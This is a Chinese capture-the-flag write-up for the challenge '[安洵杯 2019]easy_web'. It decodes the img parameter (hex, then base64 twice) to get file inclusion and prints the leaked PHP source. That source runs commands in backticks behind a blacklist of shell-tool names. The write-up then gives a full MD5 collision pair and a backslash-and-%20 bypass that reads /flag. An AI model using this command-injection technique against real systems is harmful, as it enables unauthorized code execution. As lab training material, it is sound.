[安洵杯 2019]easy_web
很扎心
先查看了源码
没东西
又看了请求
也没东西
看见上面的img=
感觉是文件包含
先摸清编码方式
编码方式是先hex再两次base64
https://tool.lu/hexstr/
base64用bp就行
然后就是包含一下index.php试一下
之后查看源码
base64解密一下
得到源码
点击查看代码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixiï½ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
反引号是执行
echo `$cmd`;
我们就只需要进行一个cmd5强碰撞就可以利用``了
md5强碰撞例子
psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2
与
psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
用bp传参harkbar会自动进行一次编码
然后就是在cmd构造命令
preg_match就直接在命令中穿插\即可空格用%20代替
ca\t%20/flag
